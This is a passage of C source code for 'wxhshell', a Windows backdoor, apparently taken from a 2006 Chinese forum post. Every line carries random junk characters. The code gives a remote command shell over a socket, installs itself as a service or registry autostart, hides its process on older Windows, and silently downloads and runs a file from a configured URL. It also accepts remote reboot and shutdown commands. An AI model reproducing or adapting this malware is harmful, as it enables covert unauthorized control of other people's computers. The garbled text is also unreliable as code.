  else { LWM<[8wJ4  
T!H(Y4A  
    switch(cmd[0]) { } [#8>T  
  NIQ}A-b  
  // 帮助 XKTDBaON  
  case '?': { {}$rN@OM$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3 ZOD2: (  
    break; A1p~K*[[  
  } %f'pAc|#  
  // 安装 f![] :L  
  case 'i': { dT0W8oL  
    if(Install()) ;$iT]S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :i!fPNn  
    else 'mZ v5?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^# $IoW  
    break; []A9j ?_w  
    }  ]ltCJq  
  // 卸载 aLg,-@  
  case 'r': { kx(beaf  
    if(Uninstall()) 1;/SXJ s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;VIR,2  
    else ''9]`B,:a0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G %sO{k7  
    break; gg`{kN^r.a  
    } pl>b 6 |  
  // 显示 wxhshell 所在路径 {O>Td9  
  case 'p': { 7SHllZ  
    char svExeFile[MAX_PATH]; 0G8@UJv6  
    strcpy(svExeFile,"\n\r"); f$>_>E  
      strcat(svExeFile,ExeFile); 0hoMf=bb$  
        send(wsh,svExeFile,strlen(svExeFile),0); V<9L-7X 8  
    break; ~S('\h)1  
    } KRxJ2  
  // 重启 `e ZDG  
  case 'b': { (/uN+   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6{5T^^x?<  
    if(Boot(REBOOT)) 'yCVB&`b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FC+-|1?C  
    else { Ou1kSG|kM  
    closesocket(wsh); $?F_Qsy{d  
    ExitThread(0); IrZjlnht  
    } Y A,. C4=s  
    break; O.FTToh<  
    } g ba1R  
  // 关机 rCa]T@=  
  case 'd': { gN}$$vS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zmQQ/ 7K  
    if(Boot(SHUTDOWN)) FZgf"XM>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K-]) RIM  
    else { p8 S~`fjV  
    closesocket(wsh); 3_@I E2dA  
    ExitThread(0); R>"pJbS;L  
    } J ?{sTj"KB  
    break; j?C[ids<  
    } aO$0[-A  
  // 获取shell #^RIp>NN9  
  case 's': { r4u ,I<ZbH  
    CmdShell(wsh); z2V ->UK)  
    closesocket(wsh); =eY  
    ExitThread(0); `}t5`:#k  
    break; F lVG,Z  
  } |d&Kr0QIV  
  // 退出 c@,1?q1bv  
  case 'x': { V #vkj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1?)h-aN  
    CloseIt(wsh); y=9fuGL6  
    break; 9+(6 /<  
    } KOR*y(*8  
  // 离开 EiD41N  
  case 'q': { 0<uL0FOT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [|$C2Dhw=  
    closesocket(wsh); V9ZM4.,OCN  
    WSACleanup(); %d:cC:`  
    exit(1); Lwtp,.)pR  
    break; xX%{i0E  
        } M.SF}U  
  } -A L^  
  } VSO(DCr"L  
&9gI?b8  
  // 提示信息 on hLhrZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 43=)akJi  
} OtAAzc!dQ  
  } ??Urm[Y.Z  
0f_`;{  
  return; ;<o?JM  
} I<W<;A  
Wt5pK[JV  
// shell模块句柄 P7X3>5<;q  
int CmdShell(SOCKET sock) 'o= DGm2H  
{ sc-+?i  
STARTUPINFO si; wk?i\vm  
ZeroMemory(&si,sizeof(si)); (uHyWEHt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4QC_zyTE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ya jAz5N  
PROCESS_INFORMATION ProcessInfo; .LM|@OeaD!  
char cmdline[]="cmd"; Rm_+kp@\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s,mt%^x[  
  return 0; T#e|{ZCbq  
} Z6So5r%wZ  
vytO8m%U  
// 自身启动模式 kTzO4s?  
int StartFromService(void) h0x'QiCc  
{ r~|7paX!  
typedef struct =yRv *C  
{ <Pf4[q&wM  
  DWORD ExitStatus; +s7w@  
  DWORD PebBaseAddress; 00-2u~D&  
  DWORD AffinityMask; 0<<ATw$aQ  
  DWORD BasePriority; #l*w=D?  
  ULONG UniqueProcessId; JS?%zj&@  
  ULONG InheritedFromUniqueProcessId; 8B "^}y\0  
}   PROCESS_BASIC_INFORMATION; +~1FKLu  
6xr%xk2E  
PROCNTQSIP NtQueryInformationProcess; ?{L'd  
g%)cyri  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1;,<UHF8N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1=X1<@*  
5+b73R3r  
  HANDLE             hProcess; AYsHA w   
  PROCESS_BASIC_INFORMATION pbi; 0=9$k  
N]ebKe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l%u8Lq  
  if(NULL == hInst ) return 0; !4z vkJO  
DHvZ:)aT}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E8lq2r=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0\k {v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E2=vLI]  
6 !Mm")  
  if (!NtQueryInformationProcess) return 0; 05jjLM'e  
J9J/3O Q=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Aeq^s  
  if(!hProcess) return 0; # x X  
m*lcIa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EACI>  
4)XB3$<  
  CloseHandle(hProcess); YKOj  
ZP0D)@8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bq-}BN?pz  
if(hProcess==NULL) return 0; P*ZMbAf.  
>$a;+v  
HMODULE hMod; hdmKD0  
char procName[255]; 7^d7:1M  
unsigned long cbNeeded; \W\*'C8q\  
9pWSvalw9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *dC&*6Rx  
6y^GMlsI  
  CloseHandle(hProcess); {#pw rWG  
>4+KEK  
if(strstr(procName,"services")) return 1; // 以服务启动 h$6~3^g:P  
0x^lHBYc  
  return 0; // 注册表启动 5x,/p  
} |GP&!]  
5-&"nn2*}1  
// 主模块 b0x%#trA{  
int StartWxhshell(LPSTR lpCmdLine) R. vVl+  
{ /wP2Wnq$  
  SOCKET wsl; =u.23#.  
BOOL val=TRUE; {/,AMJ<:G]  
  int port=0; _~F 0i?  
  struct sockaddr_in door; =)w#?DGpj  
wAL}c(EHO  
  if(wscfg.ws_autoins) Install(); #veV {,g  
&zP> pQr`#  
port=atoi(lpCmdLine); W|s" ;EAM  
M7&G9SGZ  
if(port<=0) port=wscfg.ws_port; P>`|.@  
nC!L<OMr  
  WSADATA data; EP+LK?{%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z B!~@Vf  
U9 mK^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0f'LXn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y; to9Kv$  
  door.sin_family = AF_INET; 6V#EEb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <jM { <8-  
  door.sin_port = htons(port); 2Je]dj4  
-_O j iQ R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3od16{YH  
closesocket(wsl); NBLjBa%eL  
return 1; -YrMVoZl  
} =4V SbOlZ  
*D9H3M[o#  
  if(listen(wsl,2) == INVALID_SOCKET) { _,d<9 Y)  
closesocket(wsl); &rl;+QS  
return 1; roBb8M|q  
} q1ZZ T"'  
  Wxhshell(wsl); ojA!!Ru  
  WSACleanup(); 64>CfU(  
#5{BxX&\  
return 0; MpIiHKQ G9  
P|C5k5  
} 1083p9Uh  
i` ay9J8N  
// 以NT服务方式启动 ,@Kn@%?$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hk(=_[S  
{ kJNwA8 7  
DWORD   status = 0; h@y>QhYU0  
  DWORD   specificError = 0xfffffff; hr hj4  
8Kk41=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;BKU _}k=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S_ ;r!.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8lA,3'z  
  serviceStatus.dwWin32ExitCode     = 0; W,_2JqQp  
  serviceStatus.dwServiceSpecificExitCode = 0; <td]k%*+  
  serviceStatus.dwCheckPoint       = 0; {esb"beGLa  
  serviceStatus.dwWaitHint       = 0; Ps[#z@5{x  
%&q}5Y4!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  nb6Y/`G  
  if (hServiceStatusHandle==0) return; =);@<Jp  
j['B9vG  
status = GetLastError(); Z_ Y'#5o#  
  if (status!=NO_ERROR) l\uNh~\  
{ |{_>H '  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UP%6s:>:  
    serviceStatus.dwCheckPoint       = 0; "^;h'  
    serviceStatus.dwWaitHint       = 0; !ab ef.%:  
    serviceStatus.dwWin32ExitCode     = status; )} t't"  
    serviceStatus.dwServiceSpecificExitCode = specificError; L' bY,D(J>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Me*# /  
    return; ;K%/s IIke  
  } ^5( d^N  
5O Y5b8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ts=:r  
  serviceStatus.dwCheckPoint       = 0; 49c-`[d L  
  serviceStatus.dwWaitHint       = 0; y\Utm$)j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1xkrh qq  
} ZmNNR 1%/  
 p(8@  
// 处理NT服务事件,比如:启动、停止 *c&|2EsZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jIVDi~Ld  
{ 2A:h&t/|C  
switch(fdwControl) \xv(&94U  
{ G.v(2~QFd  
case SERVICE_CONTROL_STOP: {8`$~c  
  serviceStatus.dwWin32ExitCode = 0; UT9u?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P8ZmrtQm  
  serviceStatus.dwCheckPoint   = 0; Y:, rN  
  serviceStatus.dwWaitHint     = 0; <gfRAeXA  
  { V*@Y9G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A^A)arJS  
  } N;6o=^ic  
  return; g|7o1{   
case SERVICE_CONTROL_PAUSE: $CX3P)% `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cDE5/!  
  break; !\9^|Ef?  
case SERVICE_CONTROL_CONTINUE: P=\{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P".IW.^kk~  
  break; 4v3gpLH  
case SERVICE_CONTROL_INTERROGATE: ;ko6igx)+  
  break; F"O\uo:3  
}; eF9GhwE=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VuH ->  
} <JU3sXl  
"k{so',7z  
// 标准应用程序主函数 5gqs"trF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y$]zba  
{ |D%mWQng  
K7K/P{@9[9  
// 获取操作系统版本 o[i N/  
OsIsNt=GetOsVer(); 8&| o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G9yK/g&q  
KAI2[ gs  
  // 从命令行安装 L/`1K_\l  
  if(strpbrk(lpCmdLine,"iI")) Install(); ahy6a,)K~  
8T6NG!/  
  // 下载执行文件 ?+.C@_QZQ  
if(wscfg.ws_downexe) { 2zW IB[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nPqpat`E  
  WinExec(wscfg.ws_filenam,SW_HIDE); aekke//y  
} *kg->J  
|iUC\F=-  
if(!OsIsNt) { g$?^bu dxv  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q{L:pce-  
HideProc(); l:uQ#Z)  
StartWxhshell(lpCmdLine); x3+ {Y  
} ^879sI  
else >X' -J{4R  
  if(StartFromService()) $D#h, `  
  // 以服务方式启动 Ve&_NVPrd  
  StartServiceCtrlDispatcher(DispatchTable); [H>u'fy:C  
else 3 ?I!  
  // 普通方式启动 FiUwy/,ZV  
  StartWxhshell(lpCmdLine); wCruj`$  
Zis,%XY  
return 0; ^jwzCo-  
}
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只看该作者 1 发表于: 2006-10-10
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